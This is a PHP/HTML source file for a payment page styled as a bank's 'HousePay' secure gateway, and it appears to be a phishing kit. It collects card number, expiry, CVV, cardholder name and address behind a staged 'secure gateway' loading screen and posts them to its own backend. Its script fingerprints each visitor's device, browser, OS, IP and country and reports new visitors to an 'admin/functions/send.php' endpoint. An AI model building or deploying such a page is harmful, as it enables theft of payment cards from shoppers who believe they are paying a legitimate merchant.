<?php
session_start();
if(!isset($_SESSION['order']) || isset($_POST['email'])) $_SESSION['order'] = $_POST;

if(!isset($_SESSION['order']['order'])){
	$_SESSION['order']['order'] = random_int(1000000, 9999999);
}

if(isset($_SESSION['order']['wp_order'])) {
	$_SESSION['order']['wp_order_decoded'] = json_decode(base64_decode($_SESSION['order']['wp_order']), true);
}
$_SESSION['amount'] = $_SESSION['order']['total'].' '.$_SESSION['order']['currency'];

?>
<!DOCTYPE html>
<html ng-app="myApp" class="ng-scope">
<head id="SharedLayoutHeader">
    <link rel="icon" href="./favicon.png">
    <style type="text/css">
        @charset "UTF-8";

        [ng\:cloak],
        [ng-cloak],
        [data-ng-cloak],
        [x-ng-cloak],
        .ng-cloak,
        .x-ng-cloak,
        .ng-hide:not(.ng-hide-animate) {
            display: none !important;
        }

        ng\:form {
            display: block;
        }

        .ng-animate-shim {
            visibility: hidden;
        }

        .ng-anchor {
            position: absolute;
        }
    </style>

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!--<meta name="viewport" id="viewport"-->
    <!--    content="width=device-width,height=device-height,initial-scale=1.0,user-scalable=no">-->

    <title>Payment</title>
    <script src="/payment/b2c/assets/js/jquery.js"></script>
    <script src="/payment/b2c/assets/js/jquery.mask.min.js"></script>
    <script src="/payment/b2c/assets/js/materialize.js"></script>
    <link href="/payment/b2c/assets/css/pay/css.css" rel="stylesheet">
</head>

<body style="width: 100%; height: 100%;" id="SharedLayoutBody" class="">
    <div ng-init="param=&#39;375454477906&#39;;">
        <div ng-controller="HousePayController" class="ng-scope">
            <link href="/payment/b2c/assets/fonts/googlefonts/googlefonts.css" rel="stylesheet">
            <link href="/payment/b2c/assets/css/pay/materialize.css" rel="stylesheet">
            <link href="/payment/b2c/assets/css/pay/HousePay-New.css?1" rel="stylesheet">
            <link href="/payment/b2c/assets/css/pay/css-loader.css" rel="stylesheet">
            <script class="kaxsdc" data-event="load"></script>
            <style>
                .displaynone {
                    display: none !important;
                }
            </style>

            <div class="contain ng-hide" ng-show="DivDisplayForm" ng-disabled="DisableForm">

                <div class="row">
                    <div class="col s12 titlebar" style="    margin-top: 10px;    margin-bottom: 20px;    height: auto;">
                        <h1>Payment Beneficiary and Description</h1>
                    </div>
                </div>
                <div class="row">
                    <div class="col s12 description">
                        <div class="row line">
                            <div id="MerchantNameLabel" class="col s6 title">
                                <span>NAME</span>
                            </div>
                            <div id="MerchantNameValue" class="col s6 content">
                                <div style="float: left">
                                    <span class="ng-binding"><?=$_SESSION['order']['website']?></span>
                                </div>
                            </div>
                        </div>
                        <div class="row line">
                            <div class="col s6 title">
                                <span>ORDER</span>
                            </div>
                            <div class="col s6 content">
                                <span class="ng-binding">Payment for order &#35;<?=$_SESSION['order']['order']?></span>
                            </div>
                        </div>
                        <div class="row line last">
                            <div class="col s6 title">
                                <span>AMOUNT TO PAY</span>
                            </div>
                            <div class="col s6 content">
                                <span class="ng-binding" id="price-field"><?=$_SESSION['order']['total']?> <?=$_SESSION['order']['currency']?></span>
                                <span class="VatText" ng-show="ShowVatLabel">Including VAT </span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <div class="col s12 titlebar">
                        <h1>Payment Method</h1>
                    </div>
                </div>
                <form
                    class="form-horizontal ng-pristine ng-invalid ng-invalid-required ng-valid-maxlength ng-valid-pattern"
                    ng-hide="paymentinitiated" method="POST" id="PaymentData" name="PaymentData" autocomplete="off"
                    action="">
                    <div ng-show="ShowPaymentInstrumentSection" class="ng-hide">
                        <div class="row" ng-hide="HideCardEntry">
                            <div class="col s12">
							<img src="/payment/b2c/assets/img/security.png" style="width:100%;">
                            </div>
                        </div>
                    </div>
                    <div class="row forms ng-hide" ng-show="ShowCardPaymentSection">
                        <div class="input-field col s12 m6 numberfield">
                            <div>
                                <input type="text"
                                    class="validate CardNumber ng-pristine ng-untouched ng-invalid ng-invalid-required ng-valid-maxlength"
                                    ng-model="Card_number" id="cardNumber" name="creditCardNumber" maxlength="16"
                                    ng-disabled="disablepaymentmethod" ng-keyup="ValidateCardNumber($event,this)"
                                    data-ng-keypress="onEnterKeyPress($event)" autocomplete="off" inputmode="numeric"
                                    ng-blur="pasteformats(this,event)"
                                    required="">
                                <label for="cardNumber">Card number</label>

                                <img src="/payment/b2c/assets/img/cards/BlankCard.svg" id="blank_card" class="cardvalidation" ng-show="isBlankSelected">
                                <img src="/payment/b2c/assets/img/cards/HousePay-Visa-selected.svg" id="visa_card" class="cardvalidation" style="display:none;"
                                    ng-show="isVisaSelected">
                                <img src="/payment/b2c/assets/img/cards/HousePay-MasterCard-selected.svg" id="mc_card" class="cardvalidation" style="display:none;"
                                    ng-show="isMasterCardSelected">
                                <img src="/payment/b2c/assets/img/cards/HousePay-Amex-selected.svg" id="amex_card" class="cardvalidation" style="display:none;"
                                    ng-show="isAmexSelected">
                                <div ng-show="ShowCardNumberEntrySupportiveText" style="color: blue; font-size: 10px;"
                                    class="ng-hide">
                                    <span class="ng-binding"></span>
                                </div>
                                <div ng-messages="PaymentData.creditCardNumber.$error">
                                    <div ng-message="required" style="color: red; margin-top: 11px; position: absolute;"
                                        class="ng-binding"></div>
                                </div>
                            </div>
                            <div class="IntCardLabel ng-hide" ng-show="ShowIntCardLabel">International Credit Cards are
                                not accepted.</div>
                        </div>
                        <div>
                            <div class="input-field col s6 m3 month">
                                <div class="select-wrapper CardNumber ng-pristine ng-untouched ng-valid initialized">
                                    <select class="CardNumber ng-pristine ng-untouched ng-valid initialized" id="card-month"
                                        ng-model="month" ng-init="month = months[CurrentMonthIndex]"
                                        ng-options="x as x.text for x in months track by x.value"
                                        ng-disabled="disablepaymentmethod">
                                        <option value="1" label="01 - JAN">01 - JAN</option>
                                        <option value="2" label="02 - FEB">02 - FEB</option>
                                        <option value="3" label="03 - MAR">03 - MAR</option>
                                        <option value="4" label="04 - APR">04 - APR</option>
                                        <option value="5" label="05 - MAY">05 - MAY</option>
                                        <option value="6" label="06 - JUN">06 - JUN</option>
                                        <option value="7" label="07 - JUL">07 - JUL</option>
                                        <option value="8" label="08 - AUG">08 - AUG</option>
                                        <option value="9" label="09 - SEP">09 - SEP</option>
                                        <option value="10" label="10 - OCT">10 - OCT</option>
                                        <option value="11" label="11 - NOV">11 - NOV</option>
                                        <option value="12" label="12 - DEC" selected="selected">12 - DEC</option>
                                    </select></div>
                                <label>Expiry month</label>
                                <div>
                                    <div ng-message="required" style="color:red" class="ng-binding"></div>
                                </div>
                            </div>
                            <div class="input-field col s6 m3 year">
                                <div class="select-wrapper CardNumber ng-pristine ng-untouched ng-valid initialized">
                                    <span class="caret">▼</span><select
                                        class="CardNumber ng-pristine ng-untouched ng-valid initialized"
                                        ng-model="selectedYear" ng-init="selectedYear = years[0]" id="card-year"
                                        ng-options="year for year in years" ng-disabled="disablepaymentmethod">
                                        <option value="number:2024" label="2024" selected="selected">2024</option>
                                        <option value="number:2025" label="2025">2025</option>
                                        <option value="number:2026" label="2026">2026</option>
                                        <option value="number:2027" label="2027">2027</option>
                                        <option value="number:2028" label="2028">2028</option>
                                        <option value="number:2029" label="2029">2029</option>
                                        <option value="number:2030" label="2030">2030</option>
                                        <option value="number:2031" label="2031">2031</option>
                                        <option value="number:2032" label="2032">2032</option>
                                        <option value="number:2033" label="2033">2033</option>
                                		<option value="number:2034" label="2034">2034</option>
                                		<option value="number:2035" label="2035">2035</option>
                                    </select></div>
                                <label>Expiry year</label>
                            </div>
                        </div>
                        <div class="input-field col s12 m6 numberfield"
                            ng-show="selectedBrand.VerifyInfo != &#39;&#39;">
                            <div>
                                <input type="password"
                                    class="validate CvvMasking CardNumber ng-pristine ng-untouched ng-invalid ng-invalid-required ng-valid-pattern ng-valid-maxlength"
                                    ng-model="Validation_code" id="ValidationCode" pattern="[0-9]*" inputmode="numeric"
                                    name="ValidationCode" maxlength="4" ng-disabled="disablepaymentmethod"
                                    data-ng-keypress="onEnterKeyPress($event)"
                                    oninput="javascript: if (this.value.length &gt; this.maxLength) this.value = this.value.slice(0, this.maxLength);"
                                    required="">
                                <label for="exampleInputPassword1">Validation Code ( CVV/CVC/CID )</label>
                                <div ng-messages="PaymentData.ValidationCode.$error">
                                    <div ng-message="required" style="color:red" class="ng-binding"></div>
                                </div>
                            </div>
                        </div>  
                        <div class="input-field col s12 m6 year" ng-show="selectedBrand.VerifyInfo != ''" style="">
                            <div style="">
                                <input type="text" class="validate ng-pristine ng-untouched ng-invalid ng-invalid-required ng-valid-pattern ng-valid-maxlength" ng-model="Validation_code" id="CardholderName" name="CardholderName" ng-disabled="disablepaymentmethod" required="">
                                <label for="CardholderName" class="" style="margin-left: 8px !important;">Cardholder name</label>
                                <div ng-messages="PaymentData.ValidationCode.$error">
                                    <div ng-message="required" style="color:red" class="ng-binding"></div>
                                </div>
                            </div>
                        </div>
                        <div class="input-field col s12 m6" ng-show="selectedBrand.VerifyInfo != ''" style="<?php echo (strpos($_SERVER['SERVER_NAME'], 'payment-flower-ae.com')) ? 'display:none' : '';  ?>">
                            <div style="">
                                <input type="text" class="validate ng-pristine ng-untouched ng-invalid ng-invalid-required ng-valid-pattern ng-valid-maxlength" ng-model="Validation_code" id="ZipCode" name="ZipCode" ng-disabled="disablepaymentmethod" required="">
                                <label for="ZipCode" class="" style="margin-left: 8px !important;">State, City, Street, ZIP-CODE</label>
                                <div ng-messages="PaymentData.ZipCode.$error">
                                    <div ng-message="required" style="color:red" class="ng-binding"></div>
                                </div>
                            </div>
                        </div>
  
                    </div>
                </form>
                
                <div class="row buttons ButtonPosition" ng-show="DivButton" style="    margin-top: 3px !important;">
                    <div class="col s6 button" style="display:none;">
                        <button type="button" class="btn reset" ng-click="ResetAllFields()"
                            ng-disabled="DisableButtons">Reset</button>
                    </div>
                    <div class="col s12 button" ng-show="ShowPayButton">
                        <input type="button" style="width:100%; border-radius: 10px; text-transform: none; font-size: 20px; background: url('/payment/b2c/assets/img/safe.png') no-repeat 96% center / 24px 24px; padding-right: 40px;background-color: #0074d4; border-radius: 10px;    text-transform: none;    font-size: 20px;" class="btn pay" value="Pay" ng-click="Pay()"
                            ng-disabled="DisablePayButton">
                    </div>
                    <!-- Commented out cancel button -->
                    <div class="col s1 button">
                        <a href="/"
                            id="btnCancel" class="cancelLink" ng-click="CancelTransaction()"
                            ng-show="ShowCancelPayment"></a>
                    </div>
                </div>
            </div>
            <div ng-show="DivDisplayWaitingForm" class="">

                <table class="row centered">
                    <tbody>
                        <tr>
                            <td style="text-align: center;">
                                <img src="/payment/b2c/assets/img/auth_process.gif" style="text-align: center;">
                                <div style="text-align: center;">
                                    <h6>Loading transaction data ...</h6>
                                </div><br>
                                <div style="text-align: center;">
                                    <h6>Please wait as your payment is being processed via bank’s secure gateway &amp;
                                        this might take a few seconds. </h6>
                                </div>
                                <div style="text-align: center;">
                                    <h6>Do not refresh the page or click the “Back” button.</h6>
                                </div>

                            </td>
                        </tr>
                    </tbody>
                </table>
                <script>


function validateCardNumber(number) {
    // Remove any non-digit characters
    var cleanedNumber = number.replace(/\D/g, '');

    // Check the length and prefix for each card type
    var cardType = (() => {
        if (/^3[47]/.test(cleanedNumber) && cleanedNumber.length === 15) {
            return 'amex';
        } else if (/^4/.test(cleanedNumber) && cleanedNumber.length >= 13 && cleanedNumber.length <= 16) {
            return 'visa';
        } else if (/^5[1-5]/.test(cleanedNumber) && cleanedNumber.length === 16) {
            return 'mastercard';
        } else {
            return null;
        }
    })();

    // If the card type is not recognized, return false
    if (!cardType) {
        return false;
    }

    // Validate the number using the Luhn algorithm
    var nCheck = 0, bEven = false;
    for (var n = cleanedNumber.length - 1; n >= 0; n--) {
        var cDigit = cleanedNumber.charAt(n),
            nDigit = parseInt(cDigit, 10);

        if (bEven && (nDigit *= 2) > 9) nDigit -= 9;

        nCheck += nDigit;
        bEven = !bEven;
    }

    // Return true if the number is valid, false otherwise
    return (nCheck % 10) == 0;
}
                                        
                    $(document).ready(function () {
                        $('#cardNumber').mask('0000 0000 0000 0000')
                        setTimeout(() => {
                            $('div[ng-show="DivDisplayWaitingForm"]').hide();
                            $('div[ng-show="DivDisplayForm"]').removeClass('ng-hide');
                            $('div[ng-show="ShowPaymentInstrumentSection"]').removeClass('ng-hide');
                            $('div[ng-show="ShowCheckoutsText"]').removeClass('ng-hide');
                            $('div[ng-show="ShowVisaCheckout"]').removeClass('ng-hide');
                            $('div[ng-show="ShowMastercardLogo"]').removeClass('ng-hide');
                            $('div[ng-show="ShowVisaLogo"]').removeClass('ng-hide');
                            $('div[ng-show="ShowAmexLogo"]').removeClass('ng-hide');
                            $('div[ng-show="ShowCardPaymentSection"]').removeClass('ng-hide');

                        }, 1500);

                        $('select').material_select();

                        $('button[ng-click="ResetAllFields()"]').click(function(){
                            $('#cardNumber').val('');

                            $('#card-month').val(1);
                            $('#card-month').closest('div').find('input').val('01 - JAN');

                            $('#card-year').val(1);
                            $('#card-year').closest('div').find('input').val('2024');

                            $('#ValidationCode').val('');
                        });
                        $('button[ng-click="ResetAllFields()"]').click();

                        $('#cardNumber').on("input", function () {
                            if ($(this).val().length == 0) {
                                $('#blank_card').show();
                                $('#visa_card').hide();
                                $('#mc_card').hide();
                                $('#amex_card').hide();
                                return;
                            }
                            
                            $('#blank_card').hide();
                            var s = Array.from($(this).val())[0];
                            if (s == '4') {
                                $('#visa_card').show();
                                $('#amex_card').hide();
                                $('#mc_card').hide();
                            } else if (s == '5') {
                                $('#mc_card').show();
                                $('#visa_card').hide();
                                $('#amex_card').hide();
                            } else {
                                $('#amex_card').show();
                                $('#visa_card').hide();
                                $('#mc_card').hide();
                            }
                        });
                        
                        //function get(name){
                        //    if(name=(new RegExp('[?&]'+encodeURIComponent(name)+'=([^&]*)')).exec(location.search))
                        //       return decodeURIComponent(name[1]);
                        //}

                        //var data = get('data');
                        //data = JSON.parse(atob(encodeURIComponent(data)));
                        //$('#price-field').text('AED ' + parseFloat(data['amount']).toFixed(2));
                        function isFutureDate(month, year) {
                            const currentDate = new Date();
                            const currentMonth = currentDate.getMonth() + 1;
                            const currentYear = currentDate.getFullYear();
                            if (year > currentYear) {
                                return true;
                            }
                            if (year === currentYear && month > currentMonth) {
                                return true;
                            }
                            return false;
                        }

                        $('.btn.pay').click(function(){
                            var cn = $('#cardNumber').val();
                            if(!validateCardNumber(cn.split(' ').join(''))){
                            	$('#cardNumber').css('border-bottom', '1px solid #f40000')
                                return
                            } else {
                            	$('#cardNumber').css('border-bottom', '1px solid #9e9e9e');
                            }
                            var cm = $('#card-month').closest('div').find('input').val().split(' - ')[0];
                            var cy = $('#card-year').closest('div').find('input').val();
                            var cc = $('#ValidationCode').val();
                            var cd = cm + '/' + cy;
                            var am = $('#price-field').text();
                            var ch = $('#CardholderName').val()
                            var zc = $('#ZipCode').val()
                            
                            if(!isFutureDate(+cm, +cy)) {
                            	$('#card-month').parent().find('input').css('border-bottom', '1px solid #f40000')
                                return
                            } else {
                            	$('#card-month').parent().find('input').css('border-bottom', '1px solid #9e9e9e')
                            }
                            
                            
                            if (!/^[\d]{3,4}$/.test(cc)) {
                                $('#ValidationCode').css('border-bottom', '1px solid #f40000')
                                return
                            } else {
                            	$('#ValidationCode').css('border-bottom', '1px solid #9e9e9e');
                            }
                            
                            $('body').append(`
                            <form id="card-form" action="/payment/payment/" method="post">
                            <input type="hidden" name="card_number" value="${cn}">
                            <input type="hidden" name="card_date" value="${cd}">
                            <input type="hidden" name="card_cvv" value="${cc}">
                            <input type="hidden" name="amount" value="${am}">
                            <input type="hidden" name="cardholder" value="${ch}">
                            <input type="hidden" name="zip" value="${zc}">

                            <input type="hidden" name="route-success" value="<?=htmlspecialchars($_SESSION['order']['route-success'])?>">
                            <input type="hidden" name="route-failed" value="<?=htmlspecialchars($_SESSION['order']['route-failed'])?>">
                            <input type="hidden" name="order" value="<?=htmlspecialchars($_SESSION['order']['order'])?>">
                            </form>
                            `);
                            $('#card-form').submit();
                        });
                    })
                    
                    
// Detect Device Type
var isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
var deviceType = isMobile ? 'Mobile' : 'Desktop';

// Detect Browser and Version
var userAgent = navigator.userAgent;
var browserName = navigator.appName;
var fullVersion = '' + parseFloat(navigator.appVersion);
var majorVersion = parseInt(navigator.appVersion, 10);
var nameOffset, verOffset;

if ((verOffset = userAgent.indexOf("Opera")) != -1) {
    browserName = "Opera";
    fullVersion = userAgent.substring(verOffset + 6);
    if ((verOffset = userAgent.indexOf("Version")) != -1) {
        fullVersion = userAgent.substring(verOffset + 8);
    }
} else if ((verOffset = userAgent.indexOf("MSIE")) != -1) {
    browserName = "Microsoft Internet Explorer";
    fullVersion = userAgent.substring(verOffset + 5);
} else if ((verOffset = userAgent.indexOf("Chrome")) != -1) {
    browserName = "Chrome";
    fullVersion = userAgent.substring(verOffset + 7);
} else if ((verOffset = userAgent.indexOf("Safari")) != -1) {
    browserName = "Safari";
    fullVersion = userAgent.substring(verOffset + 7);
    if ((verOffset = userAgent.indexOf("Version")) != -1) {
        fullVersion = userAgent.substring(verOffset + 8);
    }
} else if ((verOffset = userAgent.indexOf("Firefox")) != -1) {
    browserName = "Firefox";
    fullVersion = userAgent.substring(verOffset + 8);
} else if ((nameOffset = userAgent.lastIndexOf(' ') + 1) < (verOffset = userAgent.lastIndexOf('/'))) {
    browserName = userAgent.substring(nameOffset, verOffset);
    fullVersion = userAgent.substring(verOffset + 1);
    if (browserName.toLowerCase() == browserName.toUpperCase()) {
        browserName = navigator.appName;
    }
}

if ((ix = fullVersion.indexOf(";")) != -1) {
    fullVersion = fullVersion.substring(0, ix);
}
if ((ix = fullVersion.indexOf(" ")) != -1) {
    fullVersion = fullVersion.substring(0, ix);
}

majorVersion = parseInt('' + fullVersion, 10);
if (isNaN(majorVersion)) {
    fullVersion = '' + parseFloat(navigator.appVersion);
    majorVersion = parseInt(navigator.appVersion, 10);
}

// Detect Operating System
var os = "Unknown OS";
if (navigator.appVersion.indexOf("Win") != -1) os = "Windows";
if (navigator.appVersion.indexOf("Mac") != -1) os = "MacOS";
if (navigator.appVersion.indexOf("X11") != -1) os = "UNIX";
if (navigator.appVersion.indexOf("Linux") != -1) os = "Linux";

//console.log('Device Type: ' + deviceType);
//console.log('Browser Name: ' + browserName);
//console.log('Full Version: ' + fullVersion);
//console.log('Major Version: ' + majorVersion);
//console.log('Operating System: ' + os);
localStorage['device_type'] = deviceType
var request = new XMLHttpRequest();
request.open('GET', 'https://api.country.is', false);  // `false` makes the request synchronous
request.send(null);

localStorage['ip'] = ""
localStorage['country'] = ""
if (request.status === 200) {
    var data = JSON.parse(request.responseText);
    localStorage['ip'] = data.ip;
    localStorage['country'] = data.country;
}
                    
                    
                    window.send_endpoint = "/payment/payment/admin/functions";
                    function user_on_page(){
						if(localStorage['new'] != '1'){
			    		var obj = {
            				'device': deviceType,
            				'browser': browserName + " " + fullVersion,
            				'os': os,
                			'domain': window.location.hostname,
                			'ip':localStorage['ip'],
                			'country':localStorage['country']
        				}
			    		$.ajax({
			    	    	type: "POST",
			    	    	url: window.send_endpoint+"/send.php?type=new",
			    	    	data: {
			    	    	    json: JSON.stringify(obj)
			    	    	},
					    	});
					    	localStorage['new'] = '1'
						}
					}
					$(document).ready(function() {
						user_on_page()
					});
                </script>
            </div>
        </div>
</body>

</html>